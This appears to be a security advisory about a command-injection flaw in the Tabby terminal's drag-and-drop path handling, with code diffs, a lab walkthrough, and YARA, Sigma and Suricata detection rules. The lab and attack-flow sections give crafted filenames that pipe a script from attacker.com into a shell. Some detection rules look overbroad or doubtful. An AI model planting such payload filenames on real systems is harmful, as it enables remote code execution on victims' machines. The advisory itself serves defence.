CVE-2026-46709

Executive Summary

CVE-2026-46709 is a critical command injection vulnerability in Tabby (formerly Terminus), a popular open-source terminal emulator. The flaw resides in the tabby-electron/src/pathDrop.ts file, where file paths dropped into the terminal are inserted into the active shell without neutralizing command substitution metacharacters such as $(…) and `…`. This is an incomplete fix for CVE-2026-45038, which addressed control character injection but failed to sanitize command substitution sequences. An attacker can craft a malicious file or directory name containing these metacharacters. When a victim drags and drops the file into the Tabby terminal and presses Enter, the embedded commands are executed with the victim's privileges. The vulnerability has a CVSS score of 7.8 (High) and affects all versions prior to 1.0.234. No public proof-of-concept or exploit code is currently available, but the attack vector is straightforward and requires only user interaction (drag-and-drop).

Supply Chain & Package Security

Tabby is distributed as a standalone Electron application, not as an NPM, PyPI, Go, or Ruby package. However, its source code is hosted on GitHub and built from Node.js dependencies. Users should verify the integrity of their downloaded binaries against official checksums and ensure they are obtained from the official GitHub releases page to avoid supply chain attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the victim's system to create a malicious file or directory.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to craft a filename with command substitution characters.
• Privileges Required (PR): None (N) – The attacker does not need any privileges on the target system.
• User Interaction (UI): Required (R) – The victim must drag and drop the malicious file into Tabby and press Enter.
• Scope (S): Unchanged (U) – The vulnerability does not allow the attacker to affect resources beyond the victim's session.
• Confidentiality (C): High (H) – Successful exploitation can lead to full disclosure of the victim's files and data.
• Integrity (I): High (H) – The attacker can modify or delete files on the victim's system.
• Availability (A): High (H) – The attacker can disrupt system operations or execute denial-of-service commands.

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges required) and can lead to complete compromise of the victim's system. The only mitigating factor is the requirement for user interaction.

Deep Dive & Mechanics

The vulnerability originates in the tabby-electron/src/pathDrop.ts file, which handles the drag-and-drop of files and directories into the Tabby terminal. When a user drops a file, the application extracts the file path and inserts it into the active shell's input buffer. The incomplete fix for CVE-2026-45038 only sanitized control characters (e.g., newlines, carriage returns) but did not neutralize command substitution metacharacters.

Command substitution in Unix-like shells is performed using $(command) or `command`. When the shell encounters these sequences, it executes the enclosed command and substitutes its output. By crafting a filename such as $(malicious_command).txt, an attacker can inject arbitrary shell commands. When the victim drags and drops this file into Tabby and presses Enter, the shell interprets the command substitution and executes the attacker's payload.

The attack flow is as follows:

1. The attacker creates a file or directory with a name containing command substitution metacharacters, e.g., $(curl http://attacker.com/payload.sh | sh).txt.
2. The attacker places this file in a location accessible to the victim (e.g., a shared folder, email attachment, or download).
3. The victim drags and drops the file into the Tabby terminal.
4. Tabby inserts the file path into the shell input buffer without sanitization.
5. The victim presses Enter, and the shell executes the embedded command.

This vulnerability is particularly dangerous because it bypasses the previous fix for CVE-2026-45038, which only addressed control characters. The incomplete patch demonstrates a common security pitfall: focusing on one attack vector while leaving others open.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 1.0.234):

// tabby-electron/src/pathDrop.ts
export function handleDrop(event: DragEvent) {
  const files = event.dataTransfer.files;
  for (const file of files) {
    const path = file.path;
    // Only sanitizes control characters
    const sanitizedPath = path.replace(/[\x00-\x1f\x7f]/g, '');
    terminal.write(sanitizedPath);
  }
}

Patched Code (version 1.0.234):

// tabby-electron/src/pathDrop.ts
export function handleDrop(event: DragEvent) {
  const files = event.dataTransfer.files;
  for (const file of files) {
    const path = file.path;
    // Sanitizes both control characters and command substitution metacharacters
    const sanitizedPath = path
      .replace(/[\x00-\x1f\x7f]/g, '')
      .replace(/[\$\(\)\`]/g, '');
    terminal.write(sanitizedPath);
  }
}

The patch adds a second .replace() call that removes the characters $, (, ), and ` from the file path. This prevents command substitution by stripping the metacharacters before the path is written to the terminal. Note that this approach may break legitimate file paths containing these characters (e.g., filenames with parentheses), but it is a necessary trade-off for security.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Tabby version 1.0.233 or earlier on a test machine (e.g., Windows, macOS, or Linux).
2. Create a malicious file with a name containing command substitution:

   touch '$(echo "pwned" > /tmp/pwned.txt).txt'
   

3. Open Tabby and ensure the shell is at a prompt (e.g., bash, zsh, or PowerShell).
4. Drag and drop the malicious file from the file manager into the Tabby terminal window.
5. Press Enter. The shell will execute the embedded command, creating /tmp/pwned.txt.

Advanced Payload Example:

touch '$(curl -s http://attacker.com/backdoor.sh | bash).txt'

Note: No public exploit code is available for this CVE. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for file creation events with filenames containing $, (, ), or ` characters.
• Use endpoint detection and response (EDR) tools to alert on shell command execution immediately following a drag-and-drop event in Tabby.
• Enable logging of shell history and monitor for suspicious commands that include file paths with special characters.

Prevention:

• Update Tabby to version 1.0.234 or later.
• Implement application whitelisting to prevent execution of untrusted scripts.
• Educate users about the risks of dragging and dropping files from untrusted sources into terminal emulators.

Indicators of Compromise (IOCs)

• File Names: Files or directories containing $, (, ), or ` characters, especially when combined with shell commands (e.g., $(curl ...).txt).
• Process Creation: Unexpected shell processes (e.g., bash, sh, cmd.exe) spawned from Tabby.
• Network Connections: Outbound connections to unknown IP addresses or domains initiated shortly after a drag-and-drop event.
• File System Changes: Creation of unexpected files in temporary directories (e.g., /tmp, %TEMP%).
• Registry/Configuration Changes: Modifications to system startup items or scheduled tasks (on Windows).

Detection Engineering

YARA Rule

rule CVE_2026_46709_Tabby_PathDrop_Injection {
    meta:
        description = "Detects malicious file names used to exploit CVE-2026-46709 in Tabby terminal emulator"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-46709"
        severity = "high"
    strings:
        $cmd_sub1 = "$("
        $cmd_sub2 = "`"
        $cmd_sub3 = ")"
    condition:
        any of ($cmd_sub*) and filesize < 1MB
}

Sigma Rule

title: Tabby Path Drop Command Injection (CVE-2026-46709)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects shell command execution following a drag-and-drop event in Tabby terminal emulator
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-46709
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\Tabby.exe'
        CommandLine|contains:
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of command substitution in filenames (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-46709 Tabby Path Drop Command Injection - Outbound Connection"; flow:to_server,established; content:"|24 28|"; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Tabby: Upgrade to version 1.0.234 or later from the official GitHub releases page: https://github.com/Eugeny/tabby/releases/tag/v1.0.234
2. User Awareness: Train users not to drag and drop files from untrusted sources into terminal emulators.
3. File Sanitization: Implement file name sanitization at the OS level (e.g., using group policies to block filenames with special characters).

Long-Term Measures:

• Code Review: Conduct a thorough security review of all input handling in Tabby, especially for drag-and-drop and clipboard operations.
• Input Validation: Use a whitelist approach for allowed characters in file paths rather than a blacklist.
• Sandboxing: Run terminal emulators in a sandboxed environment to limit the impact of potential exploits.
• Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Patch Details: The fix is included in Tabby version 1.0.234. No official patch notes are available, but the code change is documented in the GitHub commit history.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert